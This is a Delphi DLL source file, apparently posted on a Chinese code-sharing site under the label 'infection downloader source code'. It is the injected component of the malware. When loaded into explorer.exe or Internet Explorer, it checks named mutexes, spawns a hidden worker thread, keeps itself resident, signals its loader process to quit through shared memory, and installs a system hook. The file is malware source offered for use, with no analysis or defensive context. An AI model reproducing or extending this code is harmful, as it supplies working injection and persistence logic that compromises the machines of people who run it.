chtdll.dpr

来自「感染下载者源码 感染下载者源码 感染下载者源码」· DPR 代码 · 共 57 行

library  chtdll;

uses
  Windows,
  Messages,
  hs,
  cttt,
  rett in 'rett.pas',
  kttv in 'kttv.pas';

exports
  Hookon, Hookoff;
  
var
  PMainThreadID: PDWORD;
  MutexHandle, FileHandle, SubThreadID: DWORD;
  ModuleFileName: array [0..MAX_PATH] of Char;

begin
  GetModuleFileName(0, @ModuleFileName[0], MAX_PATH);
  if CompareAnsiText(ExtractFileName(ModuleFileName), 'explorer.exe') then
  begin
    MutexHandle := OpenMutex(MUTEX_ALL_ACCESS, FALSE, 'gg_dll');
    if (MutexHandle <> 0) then
    begin
      CloseHandle(MutexHandle);
    end  
    else
    begin
      CreateThread(nil, 0, @ThreadPro, nil, 0, SubThreadID);
      GetModuleFileName(HInstance, @ModuleFileName[0], MAX_PATH);
      LoadLibrary(@ModuleFileName[0]);
      FileHandle := OpenFileMapping(FILE_MAP_ALL_ACCESS, False, 'gg_file');
      PMainThreadID := MapViewOfFile(FileHandle, FILE_MAP_ALL_ACCESS, 0, 0, 0);
      PostThreadMessage(PMainThreadID^, WM_QUIT, 0, 0);
      UnmapViewOfFile(PMainThreadID);
      CloseHandle(FileHandle);
      hookon;
    end;
  end;
  if CompareAnsiText(ExtractFileName(ModuleFileName), 'IEXPLORE.EXE') then
  begin
    MutexHandle := OpenMutex(MUTEX_ALL_ACCESS, FALSE, 'gg_ie');
    if (MutexHandle <> 0) then
    begin
      CloseHandle(MutexHandle);
    end
    else
    begin
      CreateThread(nil, 0, @ThreadPro, nil, 0, SubThreadID);
      GetModuleFileName(HInstance, @ModuleFileName[0], MAX_PATH);
      LoadLibrary(@ModuleFileName[0]);
    end;
  end;

end.